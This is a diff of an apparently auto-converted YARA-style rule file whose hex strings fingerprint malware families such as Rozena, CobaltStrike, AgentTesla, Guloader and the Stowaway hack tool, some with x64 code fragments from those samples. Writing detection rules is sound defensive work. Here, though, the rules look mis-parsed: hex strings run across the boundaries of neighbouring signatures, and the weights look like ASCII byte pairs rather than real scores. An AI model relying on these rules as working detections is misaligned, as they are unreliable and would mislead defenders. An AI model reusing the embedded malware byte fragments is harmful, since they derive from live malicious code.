00 03 00 03 00 06 00 21 23 54 45 4c 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 53 74 6f 77 61 77 61 79 2e 44 00 01 } //12133 + $a_53_2 = {6f } //5632 o + $a_61_3 = {2f 61 64 6d 69 6e 2f 6d 61 6e 61 67 65 72 01 00 16 01 53 74 6f 77 61 77 61 79 2f 61 64 6d 69 6e 2f 68 61 6e 64 6c 65 72 01 00 12 01 53 74 6f 77 61 77 61 79 2f 61 64 6d 69 6e 2f 63 6c 69 01 00 16 01 53 74 6f 77 61 77 61 79 2f 61 64 6d 69 6e 2f 70 72 6f 63 65 73 73 01 00 17 01 53 74 6f 77 61 77 61 79 2f 61 64 6d 69 6e 2f 74 6f 70 6f 6c 6f 67 79 01 00 16 01 } //24951 + $a_77_4 = {77 61 79 2f 61 64 6d 69 6e 2f 69 6e 69 74 69 61 6c 00 00 78 c1 00 00 04 00 04 00 04 00 21 23 41 6c 6c 6f 77 4c 69 73 74 3a 48 53 54 52 3a 57 69 6e 33 32 2f 42 6c 69 7a 7a 61 72 64 44 6f 77 6e 6c 6f 61 64 65 72 2e 41 00 01 00 20 01 68 74 74 70 3a 2f 2f 77 77 77 2e 62 6c 69 7a 7a 61 72 64 2e 63 6f 6d 2f 73 75 70 70 6f 72 74 2f 01 00 } //29779 + $a_6f_5 = {6c 69 7a 73 65 65 64 73 01 00 26 01 42 00 6c 00 69 00 7a 00 7a 00 61 00 72 00 64 00 20 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 65 00 72 00 01 00 2c 01 42 00 6c 00 69 00 7a 00 7a 00 61 00 72 00 64 00 20 00 45 00 6e 00 74 00 65 00 72 00 74 00 61 00 69 00 6e 00 6d 00 65 00 6e 00 74 00 00 00 78 c1 00 00 04 00 04 00 04 00 } //267 + condition: + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*12133+(#a_53_2 & 1)*5632+(#a_61_3 & 1)*24951+(#a_77_4 & 1)*29779+(#a_6f_5 & 1)*267) >=3 + +} +rule _InfrastructureShared_14200{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " + + strings : + $a_4c_0 = {48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 53 74 6f 77 61 77 61 79 2e 44 00 01 00 16 01 53 74 6f 77 61 77 61 79 2f 61 64 6d 69 6e 2f 6d 61 6e 61 67 65 72 01 00 16 01 53 74 6f 77 61 77 61 79 2f 61 64 6d 69 } //21539 + $a_61_1 = {64 6c 65 72 01 00 12 01 53 74 6f 77 61 77 61 79 2f 61 64 6d 69 6e 2f 63 6c 69 01 00 16 01 53 74 6f 77 61 77 61 79 2f 61 64 6d 69 6e 2f 70 72 6f 63 65 73 73 01 00 17 01 53 74 6f 77 61 77 61 79 2f 61 64 6d 69 6e 2f 74 6f 70 6f 6c 6f 67 79 01 00 16 01 53 74 6f 77 61 77 61 79 2f 61 64 6d 69 6e 2f 69 6e 69 74 69 61 } //12142 + $a_00_3 = {04 00 04 00 } //0 + $a_6c_4 = {6f 77 4c 69 73 74 3a 48 53 54 52 3a 57 69 6e 33 32 2f 42 6c 69 7a 7a 61 72 64 44 6f 77 6e 6c 6f 61 64 65 72 2e 41 00 01 00 20 01 68 74 74 70 3a 2f 2f 77 77 77 2e 62 6c 69 7a 7a 61 72 64 2e 63 6f } //8993 + $a_75_5 = {70 6f 72 74 2f 01 00 0b 01 6e 6f 62 6c 69 7a 73 65 65 64 73 01 00 26 01 42 00 6c 00 69 00 7a 00 7a 00 61 00 72 00 64 00 20 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 65 00 72 00 01 00 2c 01 42 00 6c 00 69 00 7a 00 7a 00 61 00 72 00 64 00 20 00 45 00 6e 00 74 00 65 00 72 00 74 00 61 00 69 00 6e 00 6d 00 65 00 6e 00 74 00 00 00 78 c1 00 } //12141 + condition: + ((#a_4c_0 & 1)*21539+(#a_61_1 & 1)*12142+(#a_00_3 & 1)*0+(#a_6c_4 & 1)*8993+(#a_75_5 & 1)*12141) >=3 + +} +rule _InfrastructureShared_14201{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -150161,7 +160217,7 @@ rule _InfrastructureShared_13324{ ((#a_6c_0 & 1)*16675+(#a_00_2 & 1)*111+(#a_65_3 & 1)*28530) >=4 } -rule _InfrastructureShared_13325{ +rule _InfrastructureShared_14202{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -150174,7 +160230,7 @@ rule _InfrastructureShared_13325{ ((#a_54_0 & 1)*18467+(#a_71_1 & 1)*29041+(#a_3a_2 & 1)*24938+(#a_73_3 & 1)*19758) >=4 } -rule _InfrastructureShared_13326{ +rule _InfrastructureShared_14203{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -150187,7 +160243,7 @@ rule _InfrastructureShared_13326{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*25458+(#a_23_2 & 1)*4+(#a_48_3 & 1)*400) >=4 } -rule _InfrastructureShared_13327{ +rule _InfrastructureShared_14204{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -150200,7 +160256,7 @@ rule _InfrastructureShared_13327{ ((#a_4c_0 & 1)*21539+(#a_74_1 & 1)*-31416+(#a_a9_2 & 1)*-18673+(#a_01_3 & 1)*-28556) >=4 } -rule _InfrastructureShared_13328{ +rule _InfrastructureShared_14205{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -150213,7 +160269,7 @@ rule _InfrastructureShared_13328{ ((#a_6f_0 & 1)*21539+(#a_90_1 & 1)*27140+(#a_65_2 & 1)*25902+(#a_61_3 & 1)*24919) >=4 } -rule _InfrastructureShared_13329{ +rule _InfrastructureShared_14206{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -150228,7 +160284,7 @@ rule _InfrastructureShared_13329{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*28261+(#a_6f_2 & 1)*16954+(#a_00_3 & 1)*29285+(#a_4a_4 & 1)*384+(#a_64_5 & 1)*29806) >=4 } -rule _InfrastructureShared_13330{ +rule _InfrastructureShared_14207{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -150236,29 +160292,40 @@ rule _InfrastructureShared_13330{ $a_41_0 = {42 6c 6f 63 6b 3a 53 6f 63 74 75 73 65 65 72 00 01 00 0d 80 01 77 77 77 2e 77 61 6a 61 6d 2e 63 6f 6d 01 00 20 80 01 57 61 6a 61 6d 49 6e 74 65 72 6e 65 74 45 6e 68 61 6e 63 65 72 53 65 72 76 69 63 65 2e 70 64 62 01 00 26 80 01 73 6f 66 74 77 61 72 65 5c } //20515 $a_61_1 = {5c 57 61 6a 61 6d 20 49 6e 74 65 72 6e 65 74 20 45 6e 68 61 6e 63 65 72 01 00 10 80 01 57 4a 50 72 6f 78 79 54 6f 6f 6c 73 2e 65 78 65 01 00 18 80 01 47 6c 6f 62 61 6c 5c 57 61 6a 61 6d 2e 50 72 6f 78 79 2e 45 76 65 6e 74 01 00 0a 80 01 57 4a 4d 61 6e 69 66 65 73 74 00 00 78 c1 00 00 04 00 04 00 07 00 21 23 45 78 70 } //24919 $a_74_2 = {57 69 6e 33 32 2f 57 69 6e 74 75 64 73 2e 42 2e 32 00 01 00 18 80 01 5a 77 51 75 65 72 79 53 79 73 74 65 6d 49 6e 66 6f 72 6d 61 74 69 6f 6e 01 00 04 01 66 8c c8 c3 01 00 1a 80 01 50 73 4c 6f 6f 6b 75 70 50 72 6f 63 65 73 73 42 79 50 72 6f 63 65 73 73 49 64 01 00 17 80 01 50 73 52 65 66 65 72 65 6e 63 65 50 72 69 } //28524 - $a_79_3 = {6f 6b 65 6e 01 00 16 80 01 50 73 49 6e 69 74 69 61 6c 53 79 73 74 65 6d 50 72 6f 63 65 73 73 01 00 0c 80 01 6e 74 6f 73 6b 72 6e 6c 2e 65 78 65 01 00 0c 80 01 6e 74 6b 72 6e 6c 70 61 2e 65 78 65 00 00 78 c1 00 00 05 00 05 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 52 6f 7a 65 6e 61 2e 4e 53 21 4d 54 42 00 03 00 46 03 } //24941 - $a_12_4 = {00 00 31 db 48 8d 75 90 01 01 39 1d 12 57 00 00 7e 25 48 6b c3 28 48 03 05 09 57 00 00 44 8b 00 45 85 c0 74 0d 48 8b 50 90 01 01 48 8b 48 90 01 01 49 89 f1 ff d7 48 ff c3 eb d3 48 8d } //-29880 - $a_00_5 = {02 00 4a 03 48 63 db 48 8b 05 1d 5a 00 00 31 d2 48 6b db 28 48 01 d8 89 10 48 89 68 90 01 01 e8 50 08 00 00 8b 55 0c 41 b8 30 00 00 00 48 8d 0c 10 48 8b 05 f5 59 00 00 48 8d 54 24 90 01 01 48 89 4c 18 90 01 01 ff 15 dd 6a 00 00 90 00 00 00 78 c1 00 00 05 00 05 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4d 73 69 6c 68 65 72 61 63 6c 65 73 2e 50 47 4d 21 4d 54 42 00 02 00 2c 80 01 6c 55 71 39 53 52 66 59 48 38 } //2149 + $a_79_3 = {6f 6b 65 6e 01 00 16 80 01 50 73 49 6e 69 74 69 61 6c 53 79 73 74 65 6d 50 72 6f 63 65 73 73 01 00 0c 80 01 6e 74 6f 73 6b 72 6e 6c 2e 65 78 65 01 00 0c 80 01 6e 74 6b 72 6e 6c 70 61 2e 65 78 65 00 00 78 c1 00 00 05 00 05 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 41 48 42 21 4d } //24941 + $a_b8_5 = {00 } //19968 condition: - ((#a_41_0 & 1)*20515+(#a_61_1 & 1)*24919+(#a_74_2 & 1)*28524+(#a_79_3 & 1)*24941+(#a_12_4 & 1)*-29880+(#a_00_5 & 1)*2149) >=4 + ((#a_41_0 & 1)*20515+(#a_61_1 & 1)*24919+(#a_74_2 & 1)*28524+(#a_79_3 & 1)*24941+(#a_b8_5 & 1)*19968) >=4 } -rule _InfrastructureShared_13331{ +rule _InfrastructureShared_14208{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 07 00 21 " strings : $a_70_0 = {6f 69 74 3a 57 69 6e 33 32 2f 57 69 6e 74 75 64 73 2e 42 2e 32 00 01 00 18 80 01 5a 77 51 75 65 72 79 53 79 73 74 65 6d 49 6e 66 6f 72 6d 61 74 69 6f 6e 01 00 04 01 66 8c c8 c3 01 00 1a 80 01 50 73 4c 6f 6f 6b 75 70 50 72 6f 63 65 73 73 42 79 50 72 6f 63 65 73 73 49 64 01 00 17 80 01 50 73 52 65 66 65 72 65 6e 63 65 50 72 69 6d 61 72 79 54 6f 6b 65 6e 01 00 } //17699 $a_50_1 = {49 } //-32746 I - $a_69_2 = {6c 53 79 73 74 65 6d 50 72 6f 63 65 73 73 01 00 0c 80 01 6e 74 6f 73 6b 72 6e 6c 2e 65 78 65 01 00 0c 80 01 6e 74 6b 72 6e 6c 70 61 2e 65 78 65 00 00 78 c1 00 00 05 00 05 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 52 6f 7a 65 6e 61 2e 4e 53 21 4d 54 42 00 03 00 46 03 48 8b 3d 12 68 00 00 31 db 48 8d 75 90 01 01 39 1d 12 57 } //26990 - $a_25_3 = {6b c3 28 48 03 05 09 57 00 00 44 8b 00 45 85 c0 74 0d 48 8b 50 90 01 01 48 8b 48 90 01 01 49 89 f1 ff d7 48 ff c3 eb d3 48 8d 65 08 90 00 02 00 4a 03 48 63 db 48 8b 05 1d 5a 00 00 31 d2 48 6b db 28 48 01 d8 89 10 48 89 68 90 01 01 e8 50 08 00 00 8b 55 0c 41 b8 30 00 00 00 48 8d 0c 10 48 8b 05 f5 59 00 00 48 8d 54 24 90 01 01 48 89 4c 18 90 01 01 ff 15 dd 6a 00 00 90 00 00 00 } //0 - $a_00_5 = {03 00 21 23 54 } //5 - $a_54_6 = {6f 6a 61 6e 3a 4d 53 49 4c 2f 4d 73 69 6c 68 65 72 61 63 6c 65 73 2e 50 47 4d 21 4d 54 42 00 02 00 2c 80 01 6c 55 71 39 53 52 66 59 48 38 4b 6b 45 7a 4e 4b 46 7a 51 70 39 73 } //19525 + $a_69_2 = {6c 53 79 73 74 65 6d 50 72 6f 63 65 73 73 01 00 0c 80 01 6e 74 6f 73 6b 72 6e 6c 2e 65 78 65 01 00 0c 80 01 6e 74 6b 72 6e 6c 70 61 2e 65 78 65 00 00 78 c1 00 00 05 00 05 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 41 48 42 21 4d 54 42 00 03 00 4e 01 b8 08 00 00 00 48 6b c0 00 48 8b 8c } //26990 + $a_00_3 = {00 } //24612 + $a_88_4 = {00 } //-31605 + $a_4c_5 = {40 48 03 c8 48 8b c1 48 89 84 24 68 01 00 00 48 8b 84 24 68 01 00 00 48 89 84 24 b8 00 00 00 48 8b 84 24 b8 00 00 00 8b 40 20 48 8b 4c 24 40 48 03 c8 02 00 3b 03 8b 44 24 4c ff c0 89 44 24 4c 48 8b 44 24 60 8b 40 54 39 44 24 4c 73 90 01 01 8b 44 24 4c 8b 4c 24 4c 48 8b 54 24 30 4c 8b 84 24 90 90 00 00 00 41 0f b6 04 00 88 04 0a eb 90 00 00 00 78 c1 00 00 05 00 05 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 } //18432 + $a_34_6 = {52 6f 7a 65 6e 61 2e 4e 53 21 4d 54 42 00 03 00 46 03 48 8b 3d 12 68 00 00 31 db 48 8d 75 90 01 01 39 1d 12 57 00 00 7e 25 48 6b c3 28 48 03 05 09 57 00 00 44 8b } //28265 condition: - ((#a_70_0 & 1)*17699+(#a_50_1 & 1)*-32746+(#a_69_2 & 1)*26990+(#a_25_3 & 1)*0+(#a_00_5 & 1)*5+(#a_54_6 & 1)*19525) >=4 + ((#a_70_0 & 1)*17699+(#a_50_1 & 1)*-32746+(#a_69_2 & 1)*26990+(#a_00_3 & 1)*24612+(#a_88_4 & 1)*-31605+(#a_4c_5 & 1)*18432+(#a_34_6 & 1)*28265) >=4 } -rule _InfrastructureShared_13332{ +rule _InfrastructureShared_14209{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 41 48 42 21 4d 54 42 00 03 00 4e 01 b8 08 00 00 00 48 6b c0 00 48 8b 8c 24 60 01 00 00 8b 84 01 88 00 00 00 48 8b 4c 24 40 48 03 } //21539 + $a_c1_1 = {89 84 24 68 01 00 00 48 8b 84 24 68 01 00 00 48 89 84 24 b8 00 00 00 48 8b 84 24 b8 00 00 00 8b 40 20 48 8b 4c 24 40 48 03 c8 02 00 3b 03 8b 44 24 4c ff c0 89 44 24 4c 48 8b 44 24 60 8b 40 54 39 44 24 4c 73 90 01 01 8b 44 24 4c 8b 4c 24 4c 48 8b 54 24 30 4c 8b 84 24 90 90 00 00 00 41 0f b6 04 00 88 04 0a eb 90 00 00 00 78 c1 00 00 05 00 05 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 52 6f 7a } //18632 + condition: + ((#a_4c_0 & 1)*21539+(#a_c1_1 & 1)*18632) >=5 + +} +rule _InfrastructureShared_14210{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " @@ -150269,18 +160336,7 @@ rule _InfrastructureShared_13332{ ((#a_4c_0 & 1)*21539+(#a_0d_1 & 1)*-16251) >=5 } -rule _InfrastructureShared_13333{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4d 73 69 6c 68 65 72 61 63 6c 65 73 2e 50 47 4d 21 4d 54 42 00 02 00 2c 80 01 6c 55 71 39 53 52 66 59 48 38 4b 6b 45 7a 4e 4b 46 7a 51 70 39 73 61 54 49 4b 64 58 30 44 6d } //21539 - $a_33_1 = {4f 33 4b 61 52 4d 49 3d 02 00 18 80 01 77 5a 6b 35 4e 36 72 39 46 76 53 32 49 59 4d 52 33 51 51 70 73 51 3d 3d 01 00 40 01 46 44 37 34 41 46 46 42 33 46 41 44 43 32 46 46 33 30 42 33 30 43 32 30 35 33 43 33 31 36 39 31 37 35 46 34 38 42 44 33 42 32 38 32 42 32 45 37 41 30 46 43 36 45 34 33 36 46 33 39 42 33 36 } //21102 - condition: - ((#a_4c_0 & 1)*21539+(#a_33_1 & 1)*21102) >=5 - -} -rule _InfrastructureShared_13334{ +rule _InfrastructureShared_14211{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -150294,7 +160350,7 @@ rule _InfrastructureShared_13334{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*14637+(#a_30_2 & 1)*300+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=5 } -rule _InfrastructureShared_13335{ +rule _InfrastructureShared_14212{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -150308,7 +160364,7 @@ rule _InfrastructureShared_13335{ ((#a_54_0 & 1)*18467+(#a_62_1 & 1)*25963+(#a_75_2 & 1)*12082+(#a_6d_3 & 1)*-32498+(#a_73_4 & 1)*25964) >=5 } -rule _InfrastructureShared_13336{ +rule _InfrastructureShared_14213{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -150322,36 +160378,64 @@ rule _InfrastructureShared_13336{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*27905+(#a_23_2 & 1)*5+(#a_64_3 & 1)*-32496+(#a_6e_4 & 1)*8290) >=5 } -rule _InfrastructureShared_13337{ +rule _InfrastructureShared_14214{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 45 45 4a 31 32 33 21 4d 54 42 00 01 00 10 81 01 64 72 75 62 20 69 6e 64 75 6b 74 69 6f 6e 65 72 01 00 0b 81 01 76 61 72 6d 65 73 6b 61 62 65 74 01 00 2c 81 01 6c 64 72 65 69 6e 73 74 69 74 75 74 69 } //18467 $a_72_1 = {65 20 68 69 6a 61 63 6b 69 6e 67 65 72 73 20 66 6f 72 73 72 67 65 72 6e 65 73 01 00 15 81 01 76 61 64 65 68 61 76 73 6f 6d 72 61 61 64 65 74 73 2e 65 78 65 01 00 22 81 01 61 69 72 63 72 61 66 74 73 77 6f 6d 65 6e 20 72 61 6e 73 6c 65 72 20 62 72 6f 6d 6f 64 72 6f 73 65 73 00 00 78 c1 00 00 06 00 06 00 } //28271 - $a_23_2 = {53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 31 32 30 37 } //6 STR:Trojan:MSIL/AgentTesla.SM1207 - $a_21_3 = {54 42 00 01 00 18 01 41 65 73 43 72 79 70 74 6f 53 65 72 76 69 63 65 50 72 6f 76 69 64 65 72 01 00 25 01 24 30 38 30 63 32 38 35 64 2d 36 30 65 31 } //12850 - $a_65_4 = {2d 38 33 63 61 2d 36 65 33 63 66 62 32 61 35 39 33 63 01 00 0b 01 43 6f 6d 70 75 74 65 48 61 73 68 01 00 13 01 54 72 61 6e 73 66 6f 72 6d 46 69 6e 61 6c 42 6c 6f 63 6b 01 00 0f 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 01 00 0a 81 01 43 6f 6d 32 33 32 54 65 72 6d 00 00 78 c1 00 00 06 00 06 00 } //13357 + $a_23_2 = {55 41 3a 42 6c 6f 63 6b 3a 41 74 6f 7a 44 6f 77 6e 6c 6f 61 64 65 72 00 02 00 18 80 01 64 72 69 76 } //5 + $a_2e_3 = {6f 77 6e 6c 6f 61 64 61 74 6f 7a 2e 63 6f 6d 02 00 0c 80 01 44 6f 77 6e 6c 6f 61 64 41 74 6f 5a 01 00 0e 80 01 44 6f 77 6e 6c 6f 61 64 65 72 2e 65 78 65 01 00 12 80 01 64 72 69 76 65 72 73 5f 64 6f 77 6e 6c 6f 61 64 65 72 01 00 41 80 01 5c 61 74 6f 7a 20 44 6f 77 6e 6c 6f 61 64 65 72 5c 44 6f 77 6e 6c 6f 61 64 65 72 5f 46 69 6e 61 6c 5c 44 6f } //29285 + $a_6f_4 = {64 65 72 5c 44 65 62 75 67 5c 44 6f 77 6e 6c 6f 61 64 65 72 2e 70 64 62 00 00 78 c1 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 31 32 30 37 32 32 31 21 4d 54 42 00 01 00 18 01 41 65 73 43 72 79 70 74 6f 53 65 72 76 69 63 65 50 72 6f 76 69 64 65 72 } //28279 condition: - ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*28271+(#a_23_2 & 1)*6+(#a_21_3 & 1)*12850+(#a_65_4 & 1)*13357) >=5 + ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*28271+(#a_23_2 & 1)*5+(#a_2e_3 & 1)*29285+(#a_6f_4 & 1)*28279) >=5 } -rule _InfrastructureShared_13338{ +rule _InfrastructureShared_14215{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 21 " + + strings : + $a_41_0 = {42 6c 6f 63 6b 3a 41 74 6f 7a 44 6f 77 6e 6c 6f 61 64 65 72 00 02 00 18 80 01 64 72 69 76 65 72 73 2e 64 6f 77 6e 6c 6f 61 64 61 74 6f 7a 2e 63 6f 6d 02 00 0c 80 01 44 6f 77 6e 6c 6f 61 64 41 74 6f 5a 01 00 0e 80 01 44 6f 77 6e 6c 6f 61 64 65 72 2e 65 78 } //20515 + $a_69_2 = {65 72 73 5f 64 6f 77 6e 6c 6f 61 64 65 72 01 00 41 80 01 5c 61 74 6f 7a 20 44 6f 77 6e 6c 6f 61 64 65 72 5c 44 6f 77 6e 6c 6f 61 64 65 72 5f 46 69 6e 61 6c 5c 44 6f 77 6e 6c 6f 61 64 65 72 5c 44 65 62 75 67 5c 44 6f 77 6e 6c 6f 61 64 65 72 2e 70 64 62 00 00 78 c1 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c } //25601 + $a_65_3 = {74 54 65 73 6c 61 2e 53 4d 31 32 30 37 32 32 31 21 4d 54 42 00 01 00 18 01 41 65 73 43 72 79 70 74 6f 53 65 72 76 69 63 65 50 72 6f 76 69 64 65 72 01 00 25 01 24 30 38 30 63 32 38 35 64 2d 36 30 65 31 2d 34 64 65 64 2d 38 33 63 61 2d 36 65 33 63 66 62 32 61 35 39 33 63 01 00 0b 01 43 6f 6d 70 75 74 65 48 61 } //16687 + $a_00_4 = {13 } //26739 + condition: + ((#a_41_0 & 1)*20515+(#a_69_2 & 1)*25601+(#a_65_3 & 1)*16687+(#a_00_4 & 1)*26739) >=6 + +} +rule _InfrastructureShared_14216{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 31 32 30 37 32 32 31 21 4d 54 42 00 01 00 18 01 41 65 73 43 72 79 70 74 6f 53 65 72 76 69 63 65 50 72 6f 76 69 64 65 72 01 00 25 01 24 30 38 30 63 32 38 35 64 2d 36 30 65 } //18467 $a_64_1 = {64 2d 38 33 63 61 2d 36 65 33 63 66 62 32 61 35 39 33 63 01 00 0b 01 43 6f 6d 70 75 74 65 48 61 73 68 01 00 13 01 54 72 61 6e 73 66 6f 72 6d 46 69 6e 61 6c } //11569 - $a_63_2 = {01 00 0f 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 01 00 0a 81 01 43 6f 6d 32 33 32 54 65 72 6d 00 00 78 c1 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4e 42 4c 31 32 33 21 4d 54 42 00 01 00 11 81 01 6c 69 6e 6a 65 73 6f 72 74 65 72 69 6e 67 65 72 73 01 00 0e 81 01 72 61 69 73 } //27714 - $a_76_3 = {6b 73 76 72 6b 01 00 28 81 01 62 65 76 67 67 72 75 6e 64 65 6e 65 73 20 75 64 65 6e 62 6f 72 64 } //28271 - $a_74_4 = {72 20 73 63 79 70 68 6f 70 6f 6c 79 70 01 00 23 81 01 73 77 65 65 70 79 20 76 6f 6c 64 66 72 65 6c 73 65 20 76 65 6c 62 65 73 6c 61 61 65 74 68 65 64 65 6e 73 01 00 05 81 01 63 6f 61 74 65 01 00 0a 81 01 68 6a 75 6c 73 70 6f 72 65 74 00 00 78 c1 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 } //28019 - $a_54_5 = {21 4d 54 42 00 01 00 12 81 01 75 6e 64 65 72 67 69 76 65 6c 73 65 6e 73 2e 69 6e 69 01 00 0e 81 01 73 70 6b 62 72 74 74 65 72 73 2e 65 78 65 01 00 21 81 01 74 65 6c 65 73 6b 6f 70 69 73 6b 65 73 5c 42 61 62 6b 61 73 32 } //21038 + $a_63_2 = {01 00 0f 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 01 00 0a 81 01 43 6f 6d 32 33 32 54 65 72 6d 00 00 78 c1 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4f 53 30 31 21 4d 54 42 00 01 00 1b 81 01 70 72 6f 70 61 67 61 6e 64 61 65 72 73 20 65 75 6b 61 6c 79 70 74 75 73 73 65 6e 01 } //27714 + $a_01_3 = {62 72 65 61 64 6d 61 6b 69 6e 67 20 73 70 6f 6e 73 6f 72 65 72 6e 65 20 74 72 65 72 6f 6e 69 6e 61 65 01 00 0f 81 01 74 72 69 73 74 69 6c 6f 71 75 79 2e 65 78 65 01 00 0f 81 01 74 61 66 66 65 6c 6d 75 73 69 6b 6b 65 6e 73 01 00 13 81 01 6e 6f 72 6d 61 6c 69 7a 65 20 67 75 69 74 61 72 65 6e 73 01 00 0d 81 01 72 65 76 6f 6c 75 74 69 6f 6e 77 68 72 00 00 78 c1 00 00 06 00 06 00 06 00 21 } //8704 + $a_54_4 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4e 42 4c 31 32 33 21 4d 54 42 00 01 00 11 81 01 6c 69 6e 6a 65 73 6f 72 74 65 72 69 6e 67 65 72 73 01 00 0e 81 01 72 61 69 73 6f 6e 20 76 6f 6b 73 76 72 6b 01 00 28 81 01 62 65 76 67 67 72 75 6e 64 } //18467 + $a_73_5 = {75 64 65 6e 62 6f 72 64 73 6d 6f 74 6f 72 20 73 63 79 70 68 6f 70 6f 6c 79 70 01 00 23 81 01 73 77 65 65 70 79 20 76 6f 6c 64 66 72 65 6c 73 65 20 76 65 6c 62 65 73 6c 61 61 65 74 68 65 64 65 6e 73 01 00 05 81 01 63 6f 61 74 65 01 00 0a 81 01 68 6a 75 6c 73 70 6f 72 65 74 00 00 78 c1 00 00 06 00 06 00 } //28261 condition: - ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*11569+(#a_63_2 & 1)*27714+(#a_76_3 & 1)*28271+(#a_74_4 & 1)*28019+(#a_54_5 & 1)*21038) >=6 + ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*11569+(#a_63_2 & 1)*27714+(#a_01_3 & 1)*8704+(#a_54_4 & 1)*18467+(#a_73_5 & 1)*28261) >=6 } -rule _InfrastructureShared_13339{ +rule _InfrastructureShared_14217{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4f 53 30 31 21 4d 54 42 00 01 00 1b 81 01 70 72 6f 70 61 67 61 6e 64 61 65 72 73 20 65 75 6b 61 6c 79 70 74 75 73 73 65 6e 01 00 22 81 01 62 72 65 61 64 6d 61 6b 69 6e 67 20 73 70 6f 6e 73 6f 72 65 } //18467 + $a_20_1 = {72 65 72 6f 6e 69 6e 61 65 01 00 0f 81 01 74 72 69 73 74 69 6c 6f 71 75 79 2e 65 78 65 01 00 0f 81 01 74 61 66 66 65 6c 6d 75 73 69 6b 6b 65 6e 73 01 00 13 81 01 6e 6f 72 6d 61 